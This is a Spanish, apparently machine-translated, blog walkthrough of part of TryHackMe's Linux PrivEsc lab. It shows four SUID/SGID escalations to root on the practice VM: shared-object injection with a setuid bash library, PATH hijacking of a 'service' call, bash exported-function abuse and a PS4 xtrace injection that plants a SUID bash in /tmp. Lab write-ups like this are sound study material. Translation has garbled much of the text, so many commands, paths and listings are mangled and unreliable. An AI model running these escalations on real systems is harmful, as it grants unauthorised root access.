[TryHackMe] ¡Mejora de los privilegios utilizando archivos ejecutables SUID/SGID! Linux Privesc Escritura Parte 7

[TryHackMe] ¡Mejora de los privilegios utilizando archivos ejecutables SUID/SGID! Linux Privesc Escritura Parte 7

Esta vez, intentaremos "elevación de privilegios utilizando ejecuciones Suid/SGID (excluyendo las exploits conocidas)".
La máquina de destino usa la habitación debajo de TryhackMe.
"Tryhackme-Linux PrivSc: https://tryhackme.com/room/linuxprivesc "

Este artículo es la Parte 7.
Si desea verificar la redacción de Linux PrivSc con TryhackMe, también verifique Elevación de privilegios utilizando la vulnerabilidad en EXIM 4.84.3

Tenga en cuenta que la explicación es spoilers.

Libros de referencia recomendados
\Amazon Prime Day ya está en marcha! /
Amazonas
Autor: Ipusiron
¥3,850 (A partir de 21:11 el 08/07/2025 | Amazon Research)
\Amazon Prime Day ya está en marcha! /
Amazonas
Autor: Justin Seitz, Autor: Tim Arnold, supervisado por: Mantani Nobutaka, Traducción: Arai Yu, Traducción: Kakara Hirosei, Traducción: Murakami Ryo
¥3,520 (A partir de las 12:26 el 07/07/2025 | Amazon Research)
\Amazon Prime Day ya está en marcha! /
Amazonas
Tabla de contenido

Preparación

Primero, inicie la máquina de destino.
Si está utilizando TryhackMe, seleccione "Inicio de la máquina".

Si la dirección IP se muestra como se muestra a continuación, ¡puede iniciarla!

Esta vez, la escalada de privilegios ocurrirá después de que haya podido conectarse a la máquina de destino, así que verifique el punto donde pueda conectarse a través de SSH.

┌── (Hacklab㉿hackLab)-[~] └─ $ SSH user@10.10.52.40 user@10.10.52.40's contraseña: Linux Debian 2.6.32-5-amd64 #1 SMP Tue 13 de mayo 16:34:35 UTC 2014 x86_64 Los programas incluidos con el sistema GNU/Linux de Debian son el sistema gratuito de mayo 16:34:35 UTC 2014 x86_64. Los términos de distribución exactos para cada programa se describen en los archivos individuales en/usr/share/doc/*/copyright. Debian GNU/Linux no tiene absolutamente ninguna garantía, en la medida permitida por la ley aplicable. Último inicio de sesión: Sol 9 de abril 08:54:59 2023 de IP-10-18-110-90.eu-west-1.compute.internal User@Debian: ~ $

Una vez que tiene acceso, la preparación anticipada está completa.

Ejecutables SUID / SGID - Inyección de objetos compartidos

Intente compartir la inyección de objetos para ejecutables Suid.

Primero, verifique todos los archivos ejecutables SUID/SGID en la máquina de destino.

usuario@debian: ~ $ find / -type f -a \ (-perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2>/dev/null -rwxr-sr-x 1 Root Shadow 19528 15 de febrero de 2011/usr/bin/expiry -rwxr-x 1 raíz ssh 108600 2 de abril de 2014/usr/bin/ssh-agent -rwsr-xr-x 1 raíz raíz 37552 15 de febrero de 2011/usr/bin/bin/bin/bin/chsh -rwsr-xr-x 2 168136 Jan 5 2016 /usr/bin/sudo -rwxr-sr-x 1 root tty 11000 Jun 17 2010 /usr/bin/bsd-write -rwxr-sr-x 1 root crontab 35040 Dec 18 2010 /usr/bin/crontab -rwsr-xr-x 1 root root 32808 Feb 15 2011 /usr/bin/newgrp -rwsr-xr-x 2 raíz de raíz 168136 5 de enero de 2016/usr/bin/sudoedit -rwxr-sr-x 1 root shadow 56976 15 de febrero de 2011/usr/bin/chage -rwsr-xr-x 1 raíz de raíz 43280 15 feb 15 2011/usr/bin/passwd -rwsr-xr-x 1 raíz de la raíz /usr/bin/gpasswd -rwsr-xr-x 1 raíz raíz 39856 15 de febrero de 2011/usr/bin/chfn -rwxr-sr-x 1 raíz tty 12000 25 de enero de 2011/usr/bin/wall -rwsr-sr-x 1 personal de raíz 9861 14 de mayo de 2017/usr/local/bin/suid-so -rwsr-stand. May 14 2017 /usr/local/bin/suid-env -rwsr-sr-x 1 root staff 6899 May 14 2017 /usr/local/bin/suid-env2 -rwsr-xr-x 1 root root 963691 May 13 2017 /usr/sbin/exim-4.84-3 -rwsr-xr-x 1 root root 6776 Dec 19 2010 /usr/lib/eject/dmCrypt-get-Device -rwsr-xr-x 1 raíz root 212128 2 de abril de 2014/usr/lib/openssh/ssh-keysign -rwsr-xr-x 1 root root 10592 15 de febrero de 2016/usr/lib/pt_chown --rwsr-xr-x 1 root root 36640 oct 14 feb 2016/usr/lib/pt_chown --rwsr-xr-x 1 root root 3660 oct 14 feb 2016/usr/lib/pt_chown --rwsr-xr-x 1 root root 3660 oct. /bin /ping6 -rwsr-xr-x 1 raíz raíz 34248 14 de octubre de 2010 /bin /ping -rwsr-xr-x 1 raíz raíz 78616 25 de enero de 2011 /bin /monte -rwsr-xr-x 1 raíz raíz 34024 15 de febrero 2011 /bin /su -rwsr-x-x 1 raíz 5364888 2011 2011 /bin umunt /umunt -RWXR-SR-X 1 Root Shadow 31864 17 de octubre de 2011 /sbin /unix_chkpwd -rwsr-xr-x 1 raíz de raíz 94992 13 de diciembre de 2014 /sbin/mount.nfs

"/usr/local/bin/suid-so" es vulnerable a la inyección de objetos compartidos.
No te lo pierdas.

A continuación, intente ejecutar "/usr/local/bin/suid-so".
En este estado, aparecerá una barra de progreso.

Usuario@Debian: ~ $/usr/local/bin/suid-so calculando algo, por favor espere ... [====>] 99 % hecho.

Luego ejecute Strace para verificar los errores de apertura/acceso y "no hay dicho archivo".

usuario@debian: ~ $ strace/usr/local/bin/suid-so 2> & 1 | GREP -IE "Open | Access | No hay dicho archivo" Access ("/etc/Suid -DeBug", f_ok) = -1 enoent (no hay dicho archivo o directorio) access ("/etc/ld.so.nohwcap", f_ok) = -1 enoent (no tal archivo o directorio) Access ("/etc/ld.So.preload", R_ok) = -1 ARCHIM directorio) Open ("/etc/ld.so.cache", o_rdonly) = 3 access ("/etc/ld.so.nohwcap", f_ok) = -1 enoent (tal archivo o directorio) open ("/lib/libdl.so.2", o_rdonly) = 3 access (""/etc/ld.sohwcap ", f_, f_) = -1 enoent (no hay dicho archivo o directorio) Open ("/usr/lib/libstdc ++. So.6", o_rdonly) = 3 access ("/etc/ld.so.nohwcap", f_ok) = -1 enoent (tal archivo o directorio) abierto ("/lib/libm.so.6", o_rdonly) = 3 Access ("/etc/ld.so.nohwcap", f_ok) = -1 enoent (no hay archivo o directorio) abre ("/lib/libgcc_s.so.1", o_rdonly) = 3 acceso ("/etc/ld.so.nohwcap", f_ok) = -1 enoent (no tal archivo o directorio) Open ("/lib/libc.so.6", o_rdonly) = 3 open ("/home/user/.config/libcalc.so", o_rdonly) = -1 enoent (no hay dicho archivo o directorio)

Tenga en cuenta que está intentando cargar /home/user/.config/libcalc.so en su directorio de inicio

Coloque el objeto compartido que genera la fiesta en
este " /home/user/.config/libcalc.so El código que genera bash se ve así:

usuario@Debian: ~ $ mkdir /home/user/.config user@debian: ~ $ cat /home/user/tools/suid/libcalc.c #include<stdio.h> #incluir<stdlib.h> inyección void estática () __attribute __ ((constructor)); vacío inyect () {setuid (0); sistema ("/bin/bash -p"); }

Compilemos su código en un objeto compartido.

usuario@debian: ~ $ gcc -shared -fpic -o /home/user/.config/libcalc.so /home/user/tools/suid/libcalc.c user@debian: ~ $ ll .config total 8 -rwxr -x user 6134 abril 10:31 libcalc.so

Si ejecuta "/usr/local/bin/suid-so" nuevamente en este estado, verá bash con privilegios de raíz, no la barra de progreso.

Usuario@Debian: ~ $/usr/local/bin/suid-so calculando algo, por favor espere ... Bash-4.1# Whoami root

Ejecutables SUID / SGID - Variables de entorno

Nuevamente, verifique el archivo ejecutable SUID/SGID en la máquina de destino.
El siguiente objetivo es "/usr/local/bin/suid-env".

usuario@debian: ~ $ find / -type f -a \ (-perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2>/dev/null -rwxr-sr-x 1 Root Shadow 19528 15 de febrero de 2011/usr/bin/expiry -rwxr-x 1 raíz ssh 108600 2 de abril de 2014/usr/bin/ssh-agent -rwsr-xr-x 1 raíz raíz 37552 15 de febrero de 2011/usr/bin/bin/bin/bin/chsh -rwsr-xr-x 2 168136 Jan 5 2016 /usr/bin/sudo -rwxr-sr-x 1 root tty 11000 Jun 17 2010 /usr/bin/bsd-write -rwxr-sr-x 1 root crontab 35040 Dec 18 2010 /usr/bin/crontab -rwsr-xr-x 1 root root 32808 Feb 15 2011 /usr/bin/newgrp -rwsr-xr-x 2 raíz de raíz 168136 5 de enero de 2016/usr/bin/sudoedit -rwxr-sr-x 1 root shadow 56976 15 de febrero de 2011/usr/bin/chage -rwsr-xr-x 1 raíz de raíz 43280 15 feb 15 2011/usr/bin/passwd -rwsr-xr-x 1 raíz de la raíz /usr/bin/gpasswd -rwsr-xr-x 1 raíz raíz 39856 15 de febrero de 2011/usr/bin/chfn -rwxr-sr-x 1 raíz tty 12000 25 de enero de 2011/usr/bin/wall -rwsr-sr-x 1 personal de raíz 9861 14 de mayo de 2017/usr/local/bin/suid-so -rwsr-stand. May 14 2017 /usr/local/bin/suid-env -rwsr-sr-x 1 root staff 6899 May 14 2017 /usr/local/bin/suid-env2 -rwsr-xr-x 1 root root 963691 May 13 2017 /usr/sbin/exim-4.84-3 -rwsr-xr-x 1 root root 6776 Dec 19 2010 /usr/lib/eject/dmCrypt-get-Device -rwsr-xr-x 1 raíz root 212128 2 de abril de 2014/usr/lib/openssh/ssh-keysign -rwsr-xr-x 1 root root 10592 15 de febrero de 2016/usr/lib/pt_chown --rwsr-xr-x 1 root root 36640 oct 14 feb 2016/usr/lib/pt_chown --rwsr-xr-x 1 root root 3660 oct 14 feb 2016/usr/lib/pt_chown --rwsr-xr-x 1 root root 3660 oct. /bin /ping6 -rwsr-xr-x 1 raíz raíz 34248 14 de octubre de 2010 /bin /ping -rwsr-xr-x 1 raíz raíz 78616 25 de enero de 2011 /bin /monte -rwsr-xr-x 1 raíz raíz 34024 15 de febrero 2011 /bin /su -rwsr-x-x 1 raíz 5364888 2011 2011 /bin umunt /umunt -RWXR-SR-X 1 Root Shadow 31864 17 de octubre de 2011 /sbin /unix_chkpwd -rwsr-xr-x 1 raíz de raíz 94992 13 de diciembre de 2014 /sbin/mount.nfs

Primero, intentémoslo honestamente.

Usuario@Debian: ~ $/usr/local/bin/suid-env [...] Iniciar servidor web: apache2httpd (PID 1773) ya en ejecución. OK 

Traté de comenzar apache2, pero parece que ya ha comenzado.

A continuación, mostremos el contenido de Suid -Nv que se pueden leer como una cadena.
Strings es el comando que puede lograr esto.

Usuario@Debian: ~ $ Strings/usr/local/bin/suid-env /lib64/ld-linux-x86-64.so.2 5q; xq __gmon_start__ libc.so.6 setresgid setresuid system __libc_start_main glibc_2.5 fff. fffff. L $ L T $ (L | $ 0H SERVICIO APACHE2 Inicio

Lo que debe tenerse en cuenta aquí es que el servicio para "Service Apache2 Start" no está completamente cargado.
En otras palabras, si agrega una ruta y coloca un objeto común llamado Seroivce, será posible ejecutarla.

Primero, escriba el código para crear un objeto común.

Usuario@Debian: ~ $ Cat /Home/user/Tools/suid/service.c int main () {setuid (0); sistema ("/bin/bash -p"); }

Compile el código anterior para crear un objeto común llamado servicio.

user@debian:~$ gcc -o service /home/user/tools/suid/service.c user@debian:~$ ll total 16 -rw-r--r-- 1 user user 212 May 15 2017 myvpn.ovpn -rwxr-xr-x 1 user user 6697 Apr 9 10:39 service drwxr-xr-x 8 user user 4096 May 15 2020 tools

Una vez que lo haya hecho, ejecute el directorio que contiene el servicio anterior como una variable de entorno.

user@Debian: ~ $ Path =.: $ Path/usr/local/bin/suid-env root@debian: ~# whoami root

Creo que el objeto común que acaba de crear ha sido ejecutado y ha obtenido privilegios de raíz.

Ejecutables Suid / SGID: abusando de las características de shell (#1)

Verifique el archivo ejecutable SUID/SGID en la máquina de destino.
A continuación, se dirigiremos a "/usr/local/bin/suid-env2".

Primero, al igual que antes, revisa las cuerdas.

Usuario@Debian: ~ $ Strings/usr/local/bin/suid-env2 /lib64/ld-linux-x86-64.so.2 __gmon_start__ libc.so.6 setresgid setresuid system __libc_start_main glibc_2.5 fff. fffff. l $ l t $ (l | $ 0h/usr/sbin/servicio apache2 inicio

A diferencia de antes, es un pase absoluto, por lo que no parece ser posible usar el mismo método que antes.
Sin embargo, si la versión bash es 4.2-048 o anterior, hay una vulnerabilidad en la que se define un nombre de función de shell en la ruta del archivo y la exportación de la función provoca una función de shell con el mismo nombre que la ruta del archivo se ejecutará en lugar del archivo ejecutable real en esa ruta del archivo.

Esta vez, me gustaría usar eso, así que comencemos mirando la versión bash.

usuario@debian: ~ $ /bin /bash --version gnu bash, versión 4.1.5 (1) -lelease (x86_64-pc-linux-gnu) copyright (c) 2009 Free Software Foundation, Inc. GPLV3+: GNU GPL versión 3 o más tarde<http://gnu.org/licenses/gpl.html> Este es un software libre; Eres libre de cambiarlo y redistribuirlo. No hay garantía, en la medida permitida por la ley.

Se confirmó que está por debajo de 4.2-048.

Ahora, cree una función llamada "/usr/sbin/servicio" que ejecuta el shell bash y exporta la función.

usuario@debian: ~ $ function/usr/sbin/service {/bin/bash -p; } usuario@Debian: ~ $ export -f/usr/sbin/servicio

Una vez que haya logrado esto, ejecute "/usr/local/bin/suid-env2".

Usuario@Debian: ~ $/usr/local/bin/suid-env2 root@Debian: ~# whoami root

Pude obtener privilegios de raíz también.

Ejecutables Suid / SGID: abusando de las características de shell (#2)

Si la versión bash es 4.4 o más baja, los privilegios de raíz también pueden elevarse utilizando la variable de entorno PS4.

Habilite la depuración de Bash y ejecute el archivo ejecutable "/usr/local/bin/suid-env2".
Cree la versión Suid de /bin /bash in /tmp /rootbash con la variable PS4 establecida en el comando incrustado.

user@debian: ~ $ env -i shellopts = xtrace ps4 = '$ (cp/bin/bash/tmp/rootbash; chmod +xs/tmp/rootbash)'/usr/local/bin/suid -eNV2/usr/sbin/servicio apache2 start basename/usr/sbin/service versión = 'service ver. 0.91-Ubuntu1 'Basename/usr/sbin/service use =' Usage: Service <Cection> | --status-all | [Service_Name [comando | --full -restart]] 'Service = Action = ServiceDir =/etc/init.d options =' ['2 -eq 0'] 'CD/' ['2 -gt 0'] 'Caso "$ {1}" en' ['-z' '-a 2 -eq 1 -a apache2 = - - -status -todo'] ['2 -eq 2 -a -a -star ']' Service = apache2 shift '[' 1 -gt 0 ']' caso "$ {1}" en '[' -z apache2 -a 1 -eq 1 -a start = - -status -all ']' ['1 -eq 2 -a' '= --full -restart'] '[' -z apache2 ']' '-z' ']' start = start = start '[' 0 ''] '[' -r /etc/init/apache2.conf ']' '[' -x /etc/init.d/apache2 ']' ejecut env -i lang = path =/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/usr/bin:/sbin:/bin term = dumb /eTc/d /d/ap servidor: apache2httpd (PID 1773) ya en ejecución.

Ahora creo que has creado /tmp /rootbash, así que lo ejecutemos.

usuario@Debian: ~ $ /tmp /rootbash -p rootbash -4.1# whoami root

¡Ahora tengo privilegios de raíz!

resumen

Esta vez, probé "elevación de privilegios (excluyendo hazañas conocidas) usando ejecutables SUID/SGID".
Una vez más, me di cuenta de que solo debería mantener la versión lo más nueva posible.

Referencias y sitios

-

¡Comparte si quieres!

Quien escribió este artículo

Este es un blog que comencé a estudiar la seguridad de la información. Como nuevo empleado, sería feliz si pudieras mirar con un corazón amplio.
También está Teech Lab, que es una oportunidad para estudiar diversión de programación, por lo que si está interesado en el desarrollo de software, ¡asegúrese de echar un vistazo!

Tabla de contenido